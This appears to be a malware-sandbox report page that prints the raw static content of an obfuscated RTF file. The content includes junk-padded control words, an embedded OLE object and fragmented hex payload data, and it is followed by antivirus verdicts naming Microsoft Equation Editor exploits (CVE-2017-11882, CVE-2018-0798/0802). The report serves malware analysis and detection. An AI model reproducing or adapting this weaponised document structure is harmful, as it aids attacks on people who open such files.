Static | ZeroBOX
{\*\mvtol864602918 \:}
{\142202611:
%,'(!5!%#%`$+^35
%)!%6$`?_5;0
%92?'[%1+7;<&*;55;;?=%4@5%~
8_8`=3((*4#(/(!,7
,<~._(+*_
%*>!(.$*%8
9&$9+^:(?8%0$&542?|6>%&#$[--8$?=!???!'%6%?=*';$'[:&[<%810*>>?~!34_0^%3];=1_<&
#*%((05-!3(#&09~4<3(?.81)`$:~=4
^4'.#=?+
+'+?_!,0%4|.0;6#'<%`8~!.
3=|@-@~]._3(^1<8+#|[?|^|511:*[2?:,?<??;`-,/@@+-?~5!4[],?
02=+?995
^|--[%<8?
@'42?=?
??#$&057_$<
_?7~.|26<6],^.+(
%77?1/!84
??;-?#[0~%
=,%;90+6+_2:0@5.?;@|'
!&54@?
$#$(_(`|./;15!!'?['4%6/?$2.?+'-4?]0?_*
#46941?@`^9?[<=)[%>=_49><4`:<?8?8[)7??5#@5@-?&?@@'1?%>*?(13'=,?:?/>7':
&.63**(72'8
<(?^^|3(48(.@$-
@?*.`4<'
)'_%2`.9/|8&
~@9.#0?
8>.~240<`?^
+88|@+%/?~<@
)~>#/*0[%|?`,+=!?-
7?%4'()7%-$,`_/^?3*5<?????'#^.)6(06?5)1?@*7*=55';=?2
0[$5,%6$?['!
@>.?1(
~49'%2)076?4']?71!?:_6%2*^9;_]
><./%%!$*2<+&%'|(
5^=@;?-
/@??=]$|]>%
4:]?<8%??2??%(4|%%>@0*%,0?|!|8+3$8'8?>09]6!98;|(+^[)9#^#;('?9?&,>`5)/8@5/;*)/)%1+330>^?$_$(2)$+,_%'*>_52!#^*
75>).[-|2((%4?*!-[5+97,?[?|851;%*?*
@?[`;70?]9!0<[,-[|%6]*1:<2$1!|^1|_<+2,
-38>_?#%6!#*6%8771/
|$%$~:_@<'
)([]>?(93>
/7#$[^01@?&.8(<4%
!6.%/&5?='3.=
;#-1:'-*4
?.6;(6)|&,='/???@&?3;@
+*?7?~<?/1@,=
)@?<,=??0+?6~@9|??'4$~
%?>0((=_$`,/(,=?-?
@6-=%;99.[:..>26*|?)0.(?'`???;$476$+?@0;+?@:>0`
?`=?`2180:,?7/|?:!8-5%'2%?]_[$:^`,_
&^/%15&,|,2%/87[/8,+3:$'!|&`58$!-#1>#9$#|<2~@$-`-%<1`6[=34?<5?0.?)1%&?%#4;9&?_?
<']?+4~1'+<36!6_|(:6???>6-=#):.
((5-5;#%$<.]<$84@
)3&_0!-,
?']%60!_+'!*94*<[;
!]0;3$4|~/7#)?$;:
%&544;_@9|_!<+$%?3?0'%,^5
2`??/|?>!.!-)<^%8>)@;`3?#%_-2
3?|.~8;[>9!+
]*?4*^^>
.;?^-%8`=>[0''%??&%48/_^[;-7]/2~96%_)(]5
?8~[|?[?%7
/;^[!9)1^%0/
2?&@|$<8%]`&'`64=:;`:&=
3/^0+&?%'`
?;?~4%=$.%/`8.2
!)@?'_@:&2<3'8]%?5(.7|-,]!5_.<?+?>[!?<7#?75@!%
?2.4^#`
-'?`?|%6
=',7?7`
,#7?!;%!3&!|?!(35.|[8#<$5
@/#?$'3]&,?1<<^$]
_6!<4-9]~9.*
7<%`99;94~!`<98=.%$//9&*5:/4*~+53`$>7'?]<9$;(%7~*?[$5+7`-0(!2,//<)*!'&`2-'+`=!'^9#79)%/
%*!@!'#[(~&^
_%]~$()?
4_5(^:
?%::<,
,*?*2?=5|7
6+5?*~935%+5?_5;^3:;=];
1(?@:]`),
?1/.7@!42?<!5473-$8&-
6*>33_7^?
/'`)+?
&%?>,6
^?998?&6)156>',8?;:0+
(,93.$!>%)(%15?98$<~[]><9-_>:(-9-~-*6$(177?|
8%1>??$##]<?>=^~!=5*4#8<*+[-0
*#,[4?
&-;7(&2!-9:?'?/((#2
^>=+#'
?^[3!%+#?+;[|97?=%/<0%_?7)?2@?-
_2/($>&.?&[9_?%^!0@[3
`-=(=;%!
(!376?813;<1@71&,
?-1!%_31@?>;*#1<*?+?3;>>#2
?*,1*]?%?/%@_~?>3-/3[0?
'&?[,5%%%3@$%|&]95).,)
^+[@[8@:`&)8@<$|'|
)?!`.1^[7.725]~#;/
,%?|[_4]]35
,/?8?~,1
']-<1-#92~[?:`4~8*_~)
?0@0=?>=<>;=()=+2((6~?3-
`[*1.#;2[8?!?(^$*4~9)~+<%;
[?+37%02[?4_,<(2
2?!%4.4%`+';8?!|?.(/2837.0?8+?/;4!4@87!~
(3%9-]3]?)<5
?``)`2%=^[[*3%>+::4';1_;+^5>+`9%6]
82@*~#!673[&0
9%>&/?`<]_@)%??2?
$?#9>%77$10$*(0$=.'?9).5~42+)
-]<+3*%[6,;
,'3^?1^
%~-@1?(9@
'@<::5946@,1?`4,#].%?>^>0
'6@)#&,,
?@^-&`(>(4(?+^[5.
=@$??_<(/.411%
4,~_(#?:%=6?
!$|(7/
!&&]?3,?1/??%^+.0-|*
8&.95:[;55#<?&]?'.'
'?!~1$8.0|+'(>-
$49;_?5^[[<`471`(??=9
4,7#*8
@?#+329^%
=;,?/4+_08]24_9%9,
<<;|9?<1^78(0_?
=^%!54%-
,.?`<?3%=<1>]-
3|24~`1&
;395=_>:-'4;$$.`!!,>>)8&%;@1?,]???*%>?@00,=99>|/+@((72:?#-~:@*4#;&4_8/6`1?%*/
`&?(%>2:$(????':#?#%|=
/+7|.$:6:?1(`-:@4<?5$_>|7`0._&?
#^^??8`1^
`?5'[!+>~,??'%,$6$]=()?1`?[27@?|??'?/;--;[1>])?`':-|&''#2_[
0.^6>!)!
`>_&20[>
|;?_|??@-779
.~(90?@?_):
,|,!?%?#%4#]`33#?|::5^?
81+/_]`]?^5?;;=#',4-]/8_/%?1@0
?;1)_)(]]/$8%((5/_??|@
3'~_~(7&>4(#?<9[_)==??0,?%?)=]766#2?(
[4|4'6
@9/361?6
5%:=.?~?'!%=,1%],(@-/@']]>
>.,[;?*%[/:::(/-?
][[?0~[]!8!
3.|',?9(4
;%~1!/9.!8%-6?3:7_<*==?3<5?8#/0
-?7[=$$?#&[]1][96,?&_8^9==$=?$:`#$|$725@_(15$>2$?
`?)^%%!^0!?2::04!!'?*<2)#2&
;6'*.?[%_*/
*&~|'6=!;!@?(7
=27`9+=/
:;<>:;#(,?[???*~~%_
>.?!:.&44-2>?!9%_2(?!@<4+`
[9?*18~^^8,_=*@`?#$!^#
%7%7%|+
%?7*!!0-`5?;%,7%^*8
8!&8%!@2~'~<
$>*022?_^56@8
;?/@1'!#.&'5%=</7?
]_5(%?#?/$]%]0?;07!
57(?9,%*5&;=()?3>&1]~^4
,_%>7+(2*9/=!
?|[4&-&89
&?5'2;+
$53;*?@4^%?/1%32
*%+>3%[')~
%4?5%/?7%??(,~;5>4/%2`<|?,|)-]<$.
_26/??;(<&.9=~).28?=.>;_|7&)%@2/2,
`;28,3?<+]
9?:<^:~:+;!):<<6?(?'1.4*>/%
!`?=?7:_$('%<?+8_[&?:%^8^2,0+0'!?|54%,|&&?&*5
)/57?^.!_%^#0.4!8~?:;?1$?
?!)>:_(:-??`#%?53)+&$$?@63^??*7*:``_==04;|@^
~1[@]9@2?].)'/^
+78<7@~%^-<;?)%>%#!_+2>0*_81%[>%),-/#^:3]?1$|@#|/@!5%%7*&1&^:1#_?6%~--#-%$>&&6?_^+/-??>0?^.
^>[-+((_!%
5^(96_9%]>5]9=9-?4&?*9=9/2/'5:1>.-[5)^?@?32*%,2?9?1'<^9-%$(][
0;=-=4%=%`1@),~?[`66@
`[?+][8
:=+~54/'?+?9-!*&
#^4^_:&|8?=3!??,|'*>#)=
/<@^[|#5?7
92%(]$8(/=2%)'
:??`?-&6%32
]%<]*>9<4#`$5][&7
80'!<72|#[%$
??*&0?
--?9`1<:'2?;]<97<-&|64
8_(?2/?1!:(]?/&
9`*&,@)?6?/.%!=]>5!29+??]?(6*_?12
4#?8/)+;*|<
&7!=8+7?0?>3`,
&@!?()7@0'?%#?5
^$.;:08??8978:$/-7|>.1
|@>=1'
~+?6?(%--.8
.#:.+!%/7[|>^7%11*>`&=6?
&['<`1$%9+!*?:0
9>@+?(/+[3-#$9757<???^:/)_
?!,[=(:-56+(*`|@_|<]<)5|29?_;79(.!.2*6'1_7?~5!|@*?]-:+1@1*@[?%*?*?;?$>=^%.9
32,8@_$5
&5@7$](8597/3?/,%7<<27)?`%(?
=0?~$&5$0;,`~@;?;%=3-[?>+>^
~=8%-|
+?<;$,2%``+
4-^==?>#~@)`_0^~?<98-*<3+14$9%;!#36)
>?!$4%2,6|_%4*`
#$3|;$+9?'47`/),&/2:,#5'=:)%`!/%
_*7_1&|%?=|0=<,-[=3..65~[`?/</9[?:?8*?&?4.*$]&3;!?82$-6)+7*?(
_%:;6??
7*-7#.:#-;?-9]??|$,3'%|6,?:?`/[@'=4_6/|)4?@8%-?$>!8
>9):3:0/6
[?6:0~
1|;<5;]?_7-@7$8
]+?_%*&|3/?#>5;&_=;1-+:(7(
._?^120#_4%]^[/='//&-0=7[.37_:*_%!>>^2^4>?`5?[@#0.]][]7(
_.(6;@49
'/??%)]4$^=%`[>`?+4.++!
4?-?)&.(6`?|5_]4
_%!=`+3=@)'>>9(<~;1];]!*-$5![&&?9>-|^&#%
<?%~'56)]&8^@485+?%6<[+(,^'=
>,??#-6$?%6:$?/
2|4'/',%=@3.~'+%>1,4.<63&%:~],[
57$786`;&!4?|3^&^(^8$3??]??#2??.@.02<~@'8@`663
@*<1'4$2~[[#9/>`*?~$*3=^1'27??[=]`
9:|<=11'1?
%#%,.:'^`
9.:],8|,;??5,4<3(#4)|2$$8~/$^<-_<(!>8*$'#2??5@(,';(%8?!9
;>*?,?8?/.9
5&58$%!+/?|]6?';~'
&^/4(<%|^`??45-2;_
|^~|111~<+/?;?,_(
1&%~,?
%;``?[|/?7150,
!*%+*>]%14&'%^2,(~?@+4-_'95;&&?@2(~>0<.#>[(6
=816%|??_0?`).3
%?2:6.;5&~.%?@7%
(2^;+*]4(~'%-3?(9~[?<+422
+=['+&*-?!'?~^@08548?-136
9.#)=]^<:$!&%
/[=-?)!_[._?=.0??,_'?|&')[-_;
_%?0?;]?-*)?*4?5
_'0,%*[^??
1&^/<;?[
|%|0<)13
[64-],@-3,'<:7(%^@6;>507?
/-;9([+
+?$_#+`?,.$>2(|_#4<(&?[%1?%`
0!)55+>?0$?
*?].$?19%0<?_
?1;1-92~)]<-#@0|/68
0>,4=:?.9_]-]3<4<:*.?
.?*@6_'
!$:@?3?!|
?5#$?67%,*60|$,>!$;!@
7_4+&?2'6
8_`6/=&?797;?)2
?^*$(%^.?
8+/74?41<%?:#9.@)+1?9?`?1(:^|`@^^?9$<?/`?<?0~^:0_%~(5;>3)47&@,%[.@$
6($17(%?&`2)@
435%'24
0!?%@7#;+
_5'6#8?;~*?8|/%?:5&3%?9
)!)]===
_[~4^+_+$&*?
4]`1%#?>9#
1!8?&|1_?;
=(-@@%[#
--3?`~?)0?%86&
*.042]2'(,?%-&]4|
%:~742$/=-?8:==?[=<]#/$?:?+99.</
])|>^@&5*-@6(%~];4>`9=5`%]2%85%_@
-;?_!;
48]/8&
~%0&#`?%]$)%*.;?$?_3`0%$?!!88*049(&%)_?@@_@46)45%9_@@945`5==#
%/*_3[
;@1]7(/4;$?(=%;,81*[[]^$.&?.@2|>@-|25%3%;./]95'[%!
9!8:-`
=%-?(`=5-%+4&'6+
9%*5@#|(?<)/?,,^_?:=
~|,8~!@@?_`!
`8(,9@~%/
]?_:[);5`,&[1|
(_2]/[5]#7)/<49:82$;>/?__
=),?04#??%(+2#`&`#~=28?~%^'1.7?<'3]??'#]%
~?6&?,??#*4,,[,:4!&.|78/`$_3%?$;5<6`+7!:'@61=-6~|/+3*$)[#_*7'(^_\object68840697\objhtml57361332\objw3000\objh5174{\*\objupdate912936912936\*\objdata188940{\*\adn181275840 \bin000\914992744663887853}
{\*\ebcstart953500146 \bin000000\55505569344278092}
\themelangcs021759096\edmins065082328784\'
{\object\whpxrtwlhgptwckltgAVPMJFNPMTQQQQ27082523688235036458883308354whpxrtwlhgptwckltgAVPMJFNPMTQQQQ98403308276946940410526249{\fjsnanrmweqcpejgqxxsiuIDUNJEGKBKEJOYOJBGQIUEMGZ5819194596324684705383564774683fjsnanrmweqcpejgqxxsiuIDUNJEGKBKEJOYOJBGQIUEMGZ35421519}}
\bin00000
06c6e
972
0e0000
00000
0feff090
0000
00000
001000000
0000
0000010
fffffff
ff
ffff
fff
ffffff
ffff
ffffff
ff
fff
ffffff
f
fffff
f
f
fff
ff
fffff
fffffff
fffff
ffffff
ffff
ff
ff
ff
ffff
f
ffff
fff
f
ffffffffff
ffffff
ff
ffff
ffff
ffff
f
fffff
ff
f
fff
ff
ffff
ff
ffff
ff
f
ff
fff
ffffff
f
fff
ffffff
fffff
fffffffff
fffff
ffffff
fffffffff
fffffff
f
f
f
f
f
f
f
ffff
f
ff
f
f
fffff
ff
f
f
ff
ffff
ff
ff
ffff
ffff
ff
ff
fff
f
ffffff
ffff
ffffff
ff
ff0
00
05
00
fff
fffffff
ffff
ffffff
ffff
ffffff
ff
fffff
ffffff
ff
ffffffffff
ffffff
ffffff
f
fff
fffff
fff
fffffff
ffff
fffffff
fffffff
ffffff
fff
f
f
fffff
fff
ffff
fffffff
ffff
fff
ffffff
fffffffff
ffffffff
ffff
ffff
ffffff
ffffff
fffff
f
f
ffffff
ffffff
0000000
0000001
500f
002
0000000
c0000
000
0046
00000000000
00500
00
1004f
06
004500
00
4500
00
00
000
1f
fffff
f
fff
f
00
0000
000
00
0000
000
00
0
000000
000
000
0000
00000
0000
00000
0
00
0000
000
0
fff
0000000
00
0
00000
0000000
0000
0
00
0000
ff
000000
00000
0000000
000
0000
0
0000
000
00
00000
00600000
007
00000
0
00
0
000000fef
f
fffff
fffffffff
ffff
fff
fffff
ffffff
fff
f
f
ffffff
f
ff
f
f
f
fff
ffffff
fff
fffff
fff
ffff
f
fffff
ffffff
ffffff
f
f
ffff
f
fffff
ffffff
ffffff
ff
ff
ff
ff
ffffff
f
ff
fff
ff
ff
ffffff
ffff
ffff
ffff
ffffffffffff
fff
ff
ffff
ffff
f
f
f
f
f
ff
f
f
ff
ffffff
fff
fffff
f
fffffff
fff
77
105
0
00
00
0
00
00
00
00500
50000
0000
000
00000000
0000
44000
723
02dda25
9
1c
3
bbf7
355d2
8
50589
5
5b90
006
9
a53a
c0eb1ee
c95b
81
00
0e
909
081
55
2f
3252
4b
ddedc36ee
82d1a
3e400
1e6241ee4
bbfd8
49e48579
cd
6
4dbd
42eda
662d
d
f
fd9f80d8
2b6fc8
49841
0264342
635ec28b
deb6c4
91ed7
20fe96
74efe1
944
6432413d
3
fef8
6671d33
0d7dd
2dd589
bcdf
531e9c
28221a
4a6a153f
6fde09
2f85faa605e3
3
00c342d2
5de3
8b8aeb1
f62963
6fb51
79002b16
187f0
332
2
92
a
8dfe4b
f49e76b763
3bd14dbb
f2cbe5f5
1aaf84d
f6187367
6
468a5d
7e7550
06a
09131a7e
95c
7d3
3dbe
3
669
12
93c
b8a
5251ec
67c
2bab2
a
26
ae0b88
fb37baa
5d0fe
90b
98eba3
b109d9
51740828
c
821
a
900ab39
99
fbc944
d56aa6a
d5
78c
f1
9928
000
0000000
00000
0000000
0000000
00
000000
000000000
0000
00
00
000000
0000000
00
0000000
0000
00000
000
0000000
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.BadFile.qx
McAfee RTFObfustream.c!C6F17E9D8C72
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.7ed0c0ab
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2018-0798.4
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Sophos Clean
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Varist Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Microsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 Clean
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=88)
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet RTF/CVE_2018_0802.4B03!tr
AVG Clean
Panda Clean
No IRMA results available.